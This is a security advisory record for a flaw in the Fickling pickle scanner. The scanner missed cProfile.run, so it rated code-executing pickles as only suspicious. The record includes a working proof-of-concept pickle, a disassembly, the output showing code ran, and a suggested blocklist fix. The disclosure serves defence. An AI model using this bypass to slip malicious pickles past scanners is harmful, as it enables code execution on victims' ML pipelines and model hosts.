{"id":"PYSEC-2026-1371","summary":"Fickling Blocklist Bypass: cProfile.run()","details":"# Fickling's assessment\n\n`cProfile` was added to the list of unsafe imports (https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43).\n\n# Original report\n\n## Description\n\n### Summary\n\nFickling versions up to and including 0.1.6 do not treat Python's `cProfile` module as unsafe. Because of this, a malicious pickle that uses `cProfile.run()` is classified as SUSPICIOUS instead of OVERTLY_MALICIOUS.\n\nIf a user relies on Fickling's output to decide whether a pickle is safe to deserialize, this misclassification can lead them to execute attacker-controlled code on their system.\n\nThis affects any workflow or product that uses Fickling as a security gate for pickle deserialization.\n\n### Details\n\nThe `cProfile` module is missing from fickling's block list of unsafe module imports in `fickling/analysis.py`. This is the same root cause as CVE-2025-67748 (pty) and CVE-2025-67747 (marshal/types).\n\nIncriminated source code:\n\n- File: `fickling/analysis.py`\n- Class: `UnsafeImports`\n- Issue: The blocklist does not include `cProfile`, `cProfile.run`, or `cProfile.runctx`\n\nReference to similar fix:\n\n- PR #187 added `pty` to the blocklist to fix CVE-2025-67748\n- PR #108 documented the blocklist approach\n- The same fix pattern should be applied for `cProfile`\n\nHow the bypass works:\n\n1. Attacker creates a pickle using `cProfile.run()` in `__reduce__`\n2. `cProfile.run()` accepts a Python code string and executes it directly (C-accelerated version of profile.run)\n3. Fickling's `UnsafeImports` analysis does not flag `cProfile` as dangerous\n4. Only the `UnusedVariables` heuristic triggers, resulting in SUSPICIOUS severity\n5. The pickle should be rated OVERTLY_MALICIOUS like `os.system`, `eval`, and `exec`\n\nTested behavior (fickling 0.1.6):\n\n| Function | Fickling Severity | RCE Capable |\n|----------|-------------------|-------------|\n| os.system | LIKELY_OVERTLY_MALICIOUS | Yes |\n| eval | OVERTLY_MALICIOUS | Yes |\n| exec | OVERTLY_MALICIOUS | Yes |\n| cProfile.run | SUSPICIOUS | Yes ← BYPASS |\n| cProfile.runctx | SUSPICIOUS | Yes ← BYPASS |\n\nSuggested fix:\n\nAdd to the unsafe imports blocklist in `fickling/analysis.py`:\n- `cProfile`\n- `cProfile.run`\n- `cProfile.runctx`\n- `_lsprof` (underlying C module)\n\n## PoC\n\nComplete instructions, including specific configuration details, to reproduce the vulnerability.\n\nEnvironment:\n- Python 3.13.2\n- fickling 0.1.6 (latest version, installed via pip)\n\n### Step 1: Create malicious pickle\n\n```python\nimport pickle\nimport cProfile\n\nclass MaliciousPayload:\n    def __reduce__(self):\n        return (cProfile.run, (\"print('CPROFILE_RCE_CONFIRMED')\",))\n\nwith open(\"malicious.pkl\", \"wb\") as f:\n    pickle.dump(MaliciousPayload(), f)\n```\n\n### Step 2: Analyze with fickling\n\n```python\nfrom fickling.fickle import Pickled\nfrom fickling.analysis import check_safety\n\nwith open('malicious.pkl', 'rb') as f:\n    data = f.read()\n\npickled = Pickled.load(data)\nresult = check_safety(pickled)\nprint(f\"Severity: {result.severity}\")\nprint(f\"Analysis: {result}\")\n```\n\nExpected output (if properly detected):\n```\nSeverity: Severity.OVERTLY_MALICIOUS\n```\n\nActual output (bypass confirmed):\n```\nSeverity: Severity.SUSPICIOUS\nAnalysis: Variable `_var0` is assigned value `run(...)` but unused afterward; this is suspicious and indicative of a malicious pickle file\n```\n\n### Step 3: Prove RCE by loading the pickle\n\n```bash\npython -c \"import pickle; pickle.load(open('malicious.pkl', 'rb'))\"\n```\n\nOutput\n```\nCPROFILE_RCE_CONFIRMED\n         4 function calls in 0.000 seconds\n\n   Ordered by: standard name\n\n   ncalls  tottime  percall  cumtime  percall filename:lineno(function)\n        1    0.000    0.000    0.000    0.000 \u003cstring\u003e:1(\u003cmodule\u003e)\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.exec}\n        1    0.000    0.000    0.000    0.000 {built-in method builtins.print}\n        1    0.000    0.000    0.000    0.000 {method 'disable' of '_lsprof.Profiler' objects}\n```\n\nCheck: The code executes, proving RCE.\n\n### Pickle disassembly (evidence):\n\n```\n    0: \\x80 PROTO      5\n    2: \\x95 FRAME      58\n   11: \\x8c SHORT_BINUNICODE 'cProfile'\n   21: \\x94 MEMOIZE    (as 0)\n   22: \\x8c SHORT_BINUNICODE 'run'\n   27: \\x94 MEMOIZE    (as 1)\n   28: \\x93 STACK_GLOBAL\n   29: \\x94 MEMOIZE    (as 2)\n   30: \\x8c SHORT_BINUNICODE \"print('CPROFILE_RCE_CONFIRMED')\"\n   63: \\x94 MEMOIZE    (as 3)\n   64: \\x85 TUPLE1\n   65: \\x94 MEMOIZE    (as 4)\n   66: R    REDUCE\n   67: \\x94 MEMOIZE    (as 5)\n   68: .    STOP\nhighest protocol among opcodes = 4\n```\n\n## Impact\n\nVulnerability Type:\n\nIncomplete blocklist leading to safety check bypass (CWE-184) and arbitrary code execution via insecure deserialization (CWE-502).\n\nWho is impacted:\n\nAny user or system that relies on fickling to vet pickle files for security issues before loading them. This includes:\n- ML model validation pipelines\n- Model hosting platforms (Hugging Face, MLflow, etc.)\n- Security scanning tools that use fickling\n- CI/CD pipelines that validate pickle artifacts\n\nAttack scenario:\n\nAn attacker uploads a malicious ML model or pickle file to a model repository. The victim's pipeline uses fickling to scan uploads. Fickling rates the file as \"SUSPICIOUS\" (not \"OVERTLY_MALICIOUS\"), so the file is not rejected. When the victim loads the model, arbitrary code executes on their system.\n\nWhy cProfile.run() is dangerous:\n\nUnlike `runpy.run_path()` which requires a file on disk, `cProfile.run()` takes a code string directly. This means the entire attack is self-contained in the pickle - no external files needed. Python docs explicitly state that `cProfile.run()` takes \"a single argument that can be passed to the exec() function\".\n\n`cProfile` is the C-accelerated version and is more commonly available than `profile`. It's also the recommended profiler per Python docs (\"cProfile is recommended for most users\"), so it's present in virtually all Python installations.\n\nSeverity: HIGH\n\n- The attacker achieves arbitrary code execution\n- The security control (fickling) is specifically designed to prevent this\n- The bypass requires no special conditions beyond crafting the pickle with cProfile\n- Attack is fully self-contained (no external files needed)\n- cProfile is more commonly used than profile, increasing attack surface","aliases":["CVE-2026-22607","GHSA-p523-jq9w-64x9"],"modified":"2026-07-07T17:47:13.994881204Z","published":"2026-07-07T16:03:17.666504Z","references":[{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-565g-hwwr-4pp3"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-p523-jq9w-64x9"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/security/advisories/GHSA-r7v6-mfhq-g3m2"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-22607"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/108"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/187"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/pull/195"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/commit/dc8ae12966edee27a78fe05c5745171a2b138d43"},{"type":"PACKAGE","url":"https://github.com/trailofbits/fickling"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/blob/977b0769c13537cd96549c12bb537f05464cf09c/test/test_bypasses.py#L116"},{"type":"WEB","url":"https://github.com/trailofbits/fickling/releases/tag/v0.1.7"},{"type":"PACKAGE","url":"https://pypi.org/project/fickling"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-p523-jq9w-64x9"}],"affected":[{"package":{"name":"fickling","ecosystem":"PyPI","purl":"pkg:pypi/fickling"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"0.1.7"}]}],"versions":["0.0.1","0.0.2","0.0.3","0.0.4","0.0.5","0.0.6","0.0.7","0.0.8","0.1.2","0.1.3","0.1.4","0.1.5","0.1.6"],"database_specific":{"source":"https://github.com/pypa/advisory-database/blob/main/vulns/fickling/PYSEC-2026-1371.yaml"}}],"schema_version":"1.7.5","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P"}]}